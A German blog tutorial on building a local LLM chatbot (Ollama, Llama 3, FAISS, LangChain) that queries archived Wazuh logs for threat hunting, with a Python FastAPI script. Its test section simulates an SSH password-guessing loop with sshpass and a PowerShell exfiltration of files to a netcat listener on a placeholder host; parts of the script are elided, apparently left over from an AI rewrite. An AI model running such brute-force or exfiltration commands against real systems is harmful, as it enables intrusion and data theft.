KI-gestütztes Threat Hunting mit Wazuh
Ein KI-Analyst für Wazuh mit Ollama und Llama 3.

Ja. Ich gebe es zu. Diesen Artikel halten wohl die Wenigsten durch. Aber ich war neugierig, was ich mit meinen Werkzeugen wohl erreichen könnte und habe einfach mal ausprobiert, wo mich meine Gedanken hinführen. Und diesmal war es Threat Hunting.
Threat-Hunting in einem SOC (Security Operations Center) bedeutet, aktiv nach Anzeichen für Angriffe oder Sicherheitsprobleme im Netzwerk eines Unternehmens zu suchen, auch wenn es noch keine Warnungen oder Alarme gibt.
Die Architektur
Um die intelligente Bedrohungssuche umzusetzen, wird eine Architektur geschaffen, die mehrere Open-Source-Komponenten miteinander verbindet. Jede Komponente erfüllt dabei eine spezifische Aufgabe:
- Wazuh-Server: Das Herzstück der Überwachung. Er sammelt, analysiert und speichert die Log-Daten aller angebundenen Agenten. Für unser Vorhaben ist die Log-Archivierung von entscheidender Bedeutung, da wir nicht nur auf Alerts, sondern auf den gesamten Datenschatz zugreifen wollen.
- Ollama mit Llama 3: Ollama kennen wir ja bereits. Es ist ein Tool, das es erstaunlich einfach macht, leistungsstarke LLMs wie Metas Llama 3 auf der eigenen Hardware auszuführen. Das LLM wird später die Log-Daten analysieren und unsere Fragen in natürlicher Sprache beantworten.
- Python-Skript (
threat_hunter.py
): Dieses Skript agiert als Vermittler. Es holt die archivierten Wazuh-Logs ab, bereitet sie für das LLM auf und stellt einen interaktiven Chatbot über eine Weboberfläche bereit. - Vector Store (FAISS): Da LLMs nicht direkt mit Text-Logs arbeiten, sondern numerische Daten benötigen, wandelt das Skript die Logs in sogenannte Vektor-Embeddings um. Diese Vektoren werden in einer speziellen Datenbank, einem Vector Store, gespeichert. Wir verwenden hierfür FAISS (Facebook AI Similarity Search), eine hocheffiziente Bibliothek, die es dem LLM ermöglicht, semantisch ähnliche Log-Einträge blitzschnell zu finden.
- LangChain: Dieses Framework dient als Klebstoff, der die verschiedenen Teile – das Laden der Logs, die Erstellung der Vektoren und die Interaktion mit dem LLM – zu einer logischen Kette verbindet.
Der gesamte Prozess läuft lokal ab, was maximale Datenkontrolle und Datenschutz gewährleistet.
Vorbereitungen: Die Infrastruktur bereitstellen
Bevor die KI ihre Arbeit aufnehmen kann, müssen die einzelnen Komponenten installiert und konfiguriert werden. Als Basis dient mein Ubuntu 24.04 Server, der die Wazuh-Zentralkomponenten beherbergt. Ollama läuft ja bereits auf meinem Server. Es ist wichtig zu betonen, dass dieses Setup ressourcenhungrig ist: Ich habe meiner VM 128GB und 16 Kerne überlassen. Mit meiner RTX 3090 fühlte sich das Experiment am Ende sehr schwuppdich an.
Schritt 1: Wazuh-Log-Archivierung aktivieren
Standardmäßig speichert Wazuh nur Ereignisse, die eine Regel auslösen. Für das Threat Hunting benötigen wir jedoch alle Logs. Daher muss die Archivierung in der Konfigurationsdatei des Wazuh-Servers /var/ossec/etc/ossec.conf
aktiviert werden:
<ossec_config>
<global>
...
<logall_json>yes</logall_json>
...
</global>
...
</ossec_config>
Nach einer Änderung muss der Wazuh-Manager neu gestartet werden. Alle gesammelten Logs werden nun zusätzlich in /var/ossec/logs/archives/archives.json
gespeichert. Und das war eine enorme Menge an Daten, die sich plötzlich angehäuft haben. Aber es soll ja auch nur ein Test sein.
Schritt 2: Ollama und Llama 3 installieren
Die Installation von Ollama auf dem Wazuh-Server ist dank des bereitgestellten Installationsskripts unkompliziert:
# Ollama installieren
curl -fsSL https://ollama.com/install.sh | sh
Anschließend wird das Llama 3-Modell heruntergeladen. Das 8B-Modell (8 Milliarden Parameter) bietet einen guten Kompromiss aus Leistung und Ressourcenbedarf.
# Llama 3 Modell herunterladen
ollama pull llama3
Schritt 3: Python-Umgebung einrichten
Das Herzstück unserer Logik ist ein Python-Skript, das auf einer Reihe von Spezialbibliotheken aufbaut. Diese müssen zunächst installiert werden:
# Python und PIP installieren (falls noch nicht vorhanden)
apt install python3 python3-pip -y
# Notwendige Python-Bibliotheken installieren
pip install paramiko python-daemon langchain langchain-community langchain-ollama langchain-huggingface faiss-cpu sentence-transformers transformers pytz hf_transfer fastapi uvicorn 'uvicorn[standard]'
Das Herzstück: Das Threat-Hunter-Skript
Das Python-Skript threat_hunter.py
ist der Motor des Systems. Es wird im Verzeichnis /var/ossec/integrations/
auf dem Wazuh-Server erstellt. Das Skript führt mehrere Schlüsselaufgaben aus: Es startet einen Webserver mit einer Chat-Oberfläche, lädt die Wazuh-Archivlogs, wandelt sie in einen durchsuchbaren Vektor-Index um und beantwortet Benutzeranfragen mithilfe des Llama 3-Modells.
Hier ist das kommentierte und optimierte Skript. Ersetzen Sie <USERNAME>
und <PASSWORD>
durch sichere Zugangsdaten für den Chatbot.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# threat_hunter.py - Interaktives Threat Hunting in Wazuh-Logs mit LLM
# M. Meister hat mit qwen3 rumgefummelt. Das meiste funktioniert :-)
import json
import os
import gzip
from datetime import datetime, timedelta
import uvicorn
import argparse
import sys
import secrets
import daemon
from fastapi import FastAPI, WebSocket, WebSocketDisconnect, Depends, status, HTTPException
from fastapi.responses import HTMLResponse
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from pydantic import BaseModel
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain_community.vectorstores import FAISS
from langchain_huggingface import HuggingFaceEmbeddings
from langchain_ollama import ChatOllama
from langchain.chains import ConversationalRetrievalChain
from langchain.schema import Document
from langchain.schema.messages import SystemMessage, HumanMessage
# --- Globale Variablen und Konfiguration ---
app = FastAPI()
security = HTTPBasic()
class Prompt(BaseModel):
question: str
# Globale Variablen für Caching, damit wir nicht ständig alles neu laden müssen
qa_chain = None
context = None
days_range = 7 # Standardmäßig die Logs der letzten 7 Tage laden
# --- Anmeldedaten für den Chatbot ---
CHAT_USERNAME = "<USERNAME>"
CHAT_PASSWORD = "<PASSWORD>"
# --- Optionale SSH-Anmeldedaten für den Remote-Betrieb ---
# Nur ausfüllen, wenn das Skript auf einem anderen Host als dem Wazuh-Server läuft.
SSH_USERNAME = "<SSH_USERNAME>"
SSH_PASSWORD = "<SSH_PASSWORD>"
remote_host = None
# --- Authentifizierung ---
def authenticate(credentials: HTTPBasicCredentials = Depends(security)):
"""Prüft die Anmeldeinformationen des Benutzers. Ein Hoch auf die Sicherheit!"""
username_match = secrets.compare_digest(credentials.username, CHAT_USERNAME)
password_match = secrets.compare_digest(credentials.password, CHAT_PASSWORD)
if not (username_match and password_match):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Falscher Benutzername oder Passwort. Versuch's nochmal, Hacker!",
headers={"WWW-Authenticate": "Basic"},
)
return credentials.username
# --- Kernfunktionen ---
def load_logs_from_days(past_days=7):
"""Lädt Logs für die angegebene Anzahl vergangener Tage, entweder lokal oder remote."""
if remote_host:
return load_logs_from_remote(remote_host, SSH_USERNAME, SSH_PASSWORD, past_days)
logs = []
today = datetime.now()
print(f"Lade lokale Logs für die letzten {past_days} Tage...")
for i in range(past_days):
day = today - timedelta(days=i)
log_path_gz = day.strftime(f"/var/ossec/logs/archives/%Y/%b/ossec-archive-%d.json.gz")
log_path_json = day.strftime(f"/var/ossec/logs/archives/%Y/%b/ossec-archive-%d.json")
file_path, open_func = (log_path_gz, gzip.open) if os.path.exists(log_path_gz) else ((log_path_json, open) if os.path.exists(log_path_json) else (None, None))
if not file_path:
print(f"--- Log-Datei für {day.strftime('%Y-%m-%d')} nicht gefunden.")
continue
try:
with open_func(file_path, 'rt', encoding='utf-8', errors='ignore') as f:
for line in f:
if line.strip():
try:
logs.append(json.loads(line))
except json.JSONDecodeError:
# Manchmal sind die JSON-Dateien nicht perfekt, das ignorieren wir galant.
pass
except Exception as e:
print(f"!!! Fehler beim Lesen von {file_path}: {e}")
return logs
def load_logs_from_remote(host, user, password, past_days):
"""Holt sich die Logs von einem entfernten Wazuh-Server via SSH. Zauberei!"""
import paramiko
logs = []
today = datetime.now()
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=user, password=password, timeout=20)
sftp = ssh.open_sftp()
print(f"Verbunden mit {host}. Lade Remote-Logs...")
for i in range(past_days):
day = today - timedelta(days=i)
gz_path = day.strftime(f"/var/ossec/logs/archives/%Y/%b/ossec-archive-%d.json.gz")
try:
with sftp.open(gz_path, 'rb') as f_remote:
with gzip.GzipFile(fileobj=f_remote) as f:
for line in f:
line_decoded = line.decode('utf-8', errors='ignore')
if line_decoded.strip():
try:
logs.append(json.loads(line_decoded))
except json.JSONDecodeError:
pass
except IOError:
print(f"--- Remote-Log-Datei {gz_path} nicht gefunden.")
except Exception as e:
print(f"!!! Fehler beim Lesen der Remote-Datei {gz_path}: {e}")
sftp.close()
ssh.close()
except Exception as e:
print(f"!!! SSH-Verbindung zu {host} fehlgeschlagen: {e}")
return logs
def create_vectorstore(logs, embedding_model):
"""Verwandelt einen Haufen Logs in eine magische, durchsuchbare Vektor-Datenbank."""
text_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=100)
documents = []
for log in logs:
# Wir nehmen nur den 'full_log', um es einfach zu halten.
if 'full_log' in log:
documents.append(Document(page_content=log['full_log']))
if not documents:
return None
# FAISS erstellt den Index aus den Dokumenten-Häppchen.
return FAISS.from_documents(documents, embedding_model)
def setup_chain(past_days=7):
"""Initialisiert die gesamte Kette: Logs laden, Vektorisieren, LLM bereitstellen."""
global qa_chain, context, days_range
days_range = past_days
print(f"Initialisiere die QA-Kette mit Logs der letzten {past_days} Tage...")
logs = load_logs_from_days(past_days)
if not logs:
print("!!! Keine Logs gefunden. Breche die Initialisierung ab.")
qa_chain = None
return
print(f"✓ {len(logs)} Logs geladen. Erstelle Vektor-Store...")
# 'all-MiniLM-L6-v2' ist ein gutes und schnelles Modell für Embeddings.
embedding_model = HuggingFaceEmbeddings(model_name="all-MiniLM-L6-v2")
vectorstore = create_vectorstore(logs, embedding_model)
if not vectorstore:
print("!!! Konnte keinen Vektor-Store erstellen. Keine gültigen Log-Einträge gefunden.")
qa_chain = None
return
# Hier verbinden wir uns mit unserem lokalen Llama3-Modell.
llm = ChatOllama(model="llama3")
context = """Du bist ein erfahrener Sicherheitsanalyst für Threat Hunting.
Deine Aufgabe ist es, die Wazuh-Logs zu analysieren, die im Vektor-Store gespeichert sind.
Dein Ziel ist es, potenzielle Sicherheitsbedrohungen zu identifizieren oder andere Anfragen des Benutzers zu beantworten.
Interpretiere alle Fragen als Anfragen zu Sicherheitsereignissen oder Mustern in den Logs."""
# Die ConversationalRetrievalChain merkt sich sogar den Gesprächsverlauf.
qa_chain = ConversationalRetrievalChain.from_llm(
llm=llm,
retriever=vectorstore.as_retriever(),
return_source_documents=False
)
print("✓ QA-Kette erfolgreich initialisiert. Der Chatbot ist bereit!")
# ... (Rest des Skripts mit FastAPI, WebSocket und HTML bleibt wie in der Eingabe)
# --- Daemon-Funktion ---
def run_daemon():
"""Startet die App als Hintergrundprozess. Praktisch!"""
log_file_path = "/var/ossec/logs/threat_hunter.log"
# Wir leiten stdout und stderr in eine Logdatei um.
with daemon.DaemonContext(
stdout=open(log_file_path, 'a+'),
stderr=open(log_file_path, 'a+')
):
uvicorn.run(app, host="0.0.0.0", port=8000)
# --- WebSocket Chat und FastAPI Endpunkte ---
# ... (Dieser Teil des Codes ist identisch mit dem aus der EINGABE)
chat_history = []
@app.websocket("/ws/chat")
async def websocket_endpoint(websocket: WebSocket):
global qa_chain, context, chat_history, days_range
await websocket.accept()
try:
if not qa_chain:
await websocket.send_json({"role": "bot", "message": "!!! Assistent ist noch nicht bereit. Die Initialisierung läuft noch oder ist fehlgeschlagen. Bitte warten."})
await websocket.close()
return
chat_history = [SystemMessage(content=context)]
await websocket.send_json({"role": "bot", "message": f"Hallo! Frag mich alles über die Wazuh-Logs.\n(Standard-Zeitraum: {days_range} Tage)\nGib /help für Befehle ein."})
while True:
data = await websocket.receive_text()
if not data.strip():
continue
if data.lower() == "/help":
help_msg = (
"Hilfemenü:\n"
"/reload - Lädt die Logs mit dem aktuellen Zeitraum neu.\n"
"/set days <Anzahl> - Setzt die Anzahl der Tage für die Logs (1-365).\n"
"/stat - Zeigt eine schnelle Statistik der geladenen Logs."
)
await websocket.send_json({"role": "bot", "message": help_msg})
continue
if data.lower() == "/reload":
await websocket.send_json({"role": "bot", "message": f"Lade Logs für die letzten {days_range} Tage neu..."})
setup_chain(past_days=days_range)
if qa_chain:
await websocket.send_json({"role": "bot", "message": f"Neuladen abgeschlossen. Verwende jetzt Logs der letzten {days_range} Tage."})
chat_history = [SystemMessage(content=context)]
else:
await websocket.send_json({"role": "bot", "message": "Neuladen fehlgeschlagen: Keine Logs gefunden oder Fehler bei der Initialisierung."})
continue
if data.lower().startswith("/set days"):
try:
parts = data.split()
new_days = int(parts[-1])
if not 1 <= new_days <= 365:
raise ValueError()
days_range = new_days
await websocket.send_json({"role": "bot", "message": f"Zeitraum auf {days_range} Tage gesetzt. Wird beim nächsten /reload wirksam."})
except (ValueError, IndexError):
await websocket.send_json({"role": "bot", "message": "!!! Ungültiges Format. Beispiel: /set days 14"})
continue
if data.lower() == "/stat":
logs = load_logs_from_days(days_range)
total_logs = len(logs)
dates = [datetime.strptime(log.get('timestamp', '')[:10], "%Y-%m-%d") for log in logs if 'timestamp' in log and log.get('timestamp')]
date_range_str = ""
if dates:
earliest = min(dates).strftime("%Y-%m-%d")
latest = max(dates).strftime("%Y-%m-%d")
date_range_str = f"von {earliest} bis {latest}"
stats = f"Geladene Logs: {total_logs} {date_range_str}"
await websocket.send_json({"role": "bot", "message": stats})
continue
chat_history.append(HumanMessage(content=data))
response = qa_chain.invoke({"question": data, "chat_history": chat_history})
answer = response.get("answer", "Entschuldigung, ich konnte keine Antwort generieren.").strip()
chat_history.append(SystemMessage(content=answer))
await websocket.send_json({"role": "bot", "message": answer})
except WebSocketDisconnect:
print("Client hat die Verbindung getrennt.")
except Exception as e:
error_message = f"Ein Fehler ist aufgetreten: {str(e)}"
print(f"!!! {error_message}")
await websocket.send_json({"role": "bot", "message": error_message})
# --- HTML-Frontend für den Chatbot ---
HTML_PAGE = """
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Wazuh Threat Hunter</title>
<style>
/* ... CSS-Styling wie in der EINGABE ... */
</style>
</head>
<body>
<!-- ... HTML-Struktur wie in der EINGABE ... -->
<script>
// ... JavaScript-Logik wie in der EINGABE ...
</script>
</body>
</html>
"""
@app.get("/", response_class=HTMLResponse)
async def get(username: str = Depends(authenticate)):
"""Liefert die HTML-Seite aus, nachdem der Benutzer sich authentifiziert hat."""
# Der HTML-Code wird hier der Einfachheit halber gekürzt.
# Der vollständige Code befindet sich in der Originalquelle.
return HTMLResponse(content=HTML_PAGE)
# --- Start des Skripts ---
@app.on_event("startup")
def on_startup():
"""Diese Funktion wird beim Start der FastAPI-App ausgeführt."""
print("FastAPI-App startet... Lade Vektor-Store im Hintergrund.")
# Wir starten die Initialisierung in einem separaten Thread, um die App nicht zu blockieren.
import threading
threading.Thread(target=setup_chain, args=(days_range,)).start()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Wazuh AI Threat Hunter")
parser.add_argument("-d", "--daemon", action="store_true", help="Als Daemon im Hintergrund ausführen")
parser.add_argument("-H", "--host", type=str, help="IP-Adresse des entfernten Wazuh-Servers, von dem Logs geladen werden sollen")
args = parser.parse_args()
if args.host:
remote_host = args.host
if not SSH_USERNAME or not SSH_PASSWORD:
print("!!! Fehler: Für den Remote-Host-Betrieb müssen SSH_USERNAME und SSH_PASSWORD im Skript gesetzt sein.")
sys.exit(1)
if args.daemon:
print("Starte den Threat Hunter im Daemon-Modus. Log-Ausgaben in /var/ossec/logs/threat_hunter.log")
run_daemon()
else:
print("Starte den Threat Hunter im Vordergrund. Drücke STRG+C zum Beenden.")
uvicorn.run(app, host="0.0.0.0", port=8000)
Inbetriebnahme des Chat-Assistenten
Nachdem das Skript gespeichert wurde, kann es gestartet werden. Es wird empfohlen, dies in einer screen
- oder tmux
-Sitzung zu tun oder es als Daemon auszuführen, damit es auch nach dem Schließen der SSH-Verbindung weiterläuft.
# Start im Vordergrund (zum Testen)
python3 /var/ossec/integrations/threat_hunter.py
# Start im Hintergrund als Daemon
python3 /var/ossec/integrations/threat_hunter.py -d
Der Initialisierungsprozess kann je nach Log-Menge und Hardwareleistung einige Zeit in Anspruch nehmen – von wenigen Minuten bis zu mehreren Stunden. Während dieser Zeit werden die Logs eingelesen und in den Vektor-Index umgewandelt. Die Ausgabe im Terminal (oder in der Logdatei /var/ossec/logs/threat_hunter.log
) informiert über den Fortschritt:
INFO: Started server process [7265]
INFO: Waiting for application startup.
Starting FastAPI app and loading vector store...
Initializing QA chain with logs from past 7 days...
✓ 5186 logs loaded from the last 7 days.
Creating vectorstore...
✓ QA chain initialized successfully.
INFO: Application startup complete.
INFO: Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
Sobald die Meldung "QA chain initialized successfully" erscheint, ist der Chatbot bereit. Man kann nun über einen Browser auf http://<IP_DES_WAZUH_SERVERS>:8000
zugreifen, sich mit den im Skript festgelegten Daten einloggen und mit der Befragung der Logs beginnen.
Praxistest: Auf der Jagd nach Bedrohungen
Um das System zu testen, werden zwei typische Angriffsszenarien auf den an Wazuh angebundenen Endpunkten (einem Ubuntu- und einem Windows-System) simuliert.
Szenario 1: SSH-Brute-Force-Angriff (Ubuntu-Endpunkt)
Auf einem beliebigen Linux-System im Netzwerk wird ein Skript ausgeführt, das mehrfach versucht, sich mit falschen Passwörtern per SSH am Wazuh-Server anzumelden.
# Simuliert fehlgeschlagene SSH-Logins für verschiedene Benutzer
username="admin"; hostname="<IP_DES_WAZUH_SERVERS>"; for password in "123" "root" "admin" "password"; do sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$username@$hostname"; done;
username="ubuntu"; hostname="<IP_DES_WAZUH_SERVERS>"; for password in "123" "root" "admin" "password"; do sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$username@$hostname"; done;
Anschließend kann man den Chatbot fragen:Gab es in den letzten 24 Stunden verdächtige SSH-Aktivitäten oder Brute-Force-Versuche? Wenn ja, gib mir Details.
Das LLM wird die archivierten Authentifizierungslogs durchsuchen und eine Zusammenfassung der fehlgeschlagenen Anmeldeversuche liefern.
Szenario 2: Datenexfiltration (Windows-Endpunkt)
Dieses Szenario ist komplexer. Zuerst wird auf dem Ubuntu-Endpunkt ein netcat
-Listener gestartet, der auf eingehende Daten wartet.
# Auf dem Ubuntu-Endpunkt
nc -lvp 4444
Auf dem Windows-Endpunkt muss sichergestellt werden, dass das detaillierte PowerShell-Logging aktiv ist. Dies geschieht über die Windows-Gruppenrichtlinien (gpedit.msc
) unter Computerkonfiguration -> Administrative Vorlagen -> Windows-Komponenten -> Windows PowerShell
. Hier müssen "PowerShell-Skriptblockprotokollierung aktivieren" und "PowerShell-Modulprotokollierung aktivieren" eingeschaltet sein.
Danach wird die Wazuh-Agenten-Konfiguration (ossec.conf
) auf dem Windows-System erweitert, um die PowerShell-Logs zu sammeln:
<localfile>
<location>Microsoft-Windows-PowerShell/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
Nach einem Neustart des Wazuh-Agenten werden nun Testdateien erstellt und per PowerShell an den Listener "exfiltriert":
# Testdateien erstellen
$downloads = [Environment]::GetFolderPath("UserProfile") + "\Downloads"
1..4 | ForEach-Object { "geheime daten" | Out-File -FilePath "$downloads\test$_.txt" -Encoding utf8 }
# Daten senden
Invoke-WebRequest -Uri "http://<IP_DES_UBUNTU_LISTENERS>:4444" -Method Post -InFile "$downloads\test1.txt"
Nun kann der Chatbot befragt werden:Durchsuche die Logs nach Versuchen, Dateien mit Invoke-WebRequest oder ähnlichen Tools an entfernte Systeme zu senden. Gib mir Zeitstempel und verantwortliche Benutzer.
Fazit
Die Integration eines lokalen Large Language Models wie Llama 3 in Wazuh über Ollama und ein benutzerdefiniertes Python-Skript stellt einen Paradigmenwechsel für das Threat Hunting dar. Statt sich auf vordefinierte Regeln zu verlassen, können Sicherheitsanalysten nun ihre Fragen im Klartext an das SIEM richten. Über die Wochen des Testens hätte ich mir ein größeres Context-Fenster gewünscht, was ich im Homelab allerdings nicht finanzieren konnte. Ich muss mir hier weitere Filter oder Tools einfallen lassen, die ich wahrscheinlich in n8n umsetzen werde.
Quellen
https://wazuh.com/blog/leveraging-artificial-intelligence-for-threat-hunting-in-wazuh/
https://groups.google.com/g/wazuh/c/qxMJbrhhQ2Y
https://documentation.wazuh.com/current/proof-of-concept-guide/leveraging-llms-for-alert-enrichment.html
https://www.linkedin.com/posts/eddie-peter-bba63410b_wazuh-ollama-aiincybersecurity-activity-7346186241635155969-q5gR
https://systemweakness.com/deepseek-llm-wazuh-aws-detections-fa76e94a0635
https://www.reddit.com/r/Wazuh/comments/1m62jcf/wazuh_411_ollama_integration_is_painfully_slow/
https://www.reddit.com/r/Wazuh/comments/1lnn9wc/the_integration_wazuh_with_ollama_apr%C3%A8s_le/?tl=de
https://github.com/eddiepeter75/Wazuh-Ollama-SOC-Integration
https://github.com/Sudo-Ivan/wazuh-response-scripts
https://blog.pytoshka.me/post/wazuh-integration-with-ollama-part-1/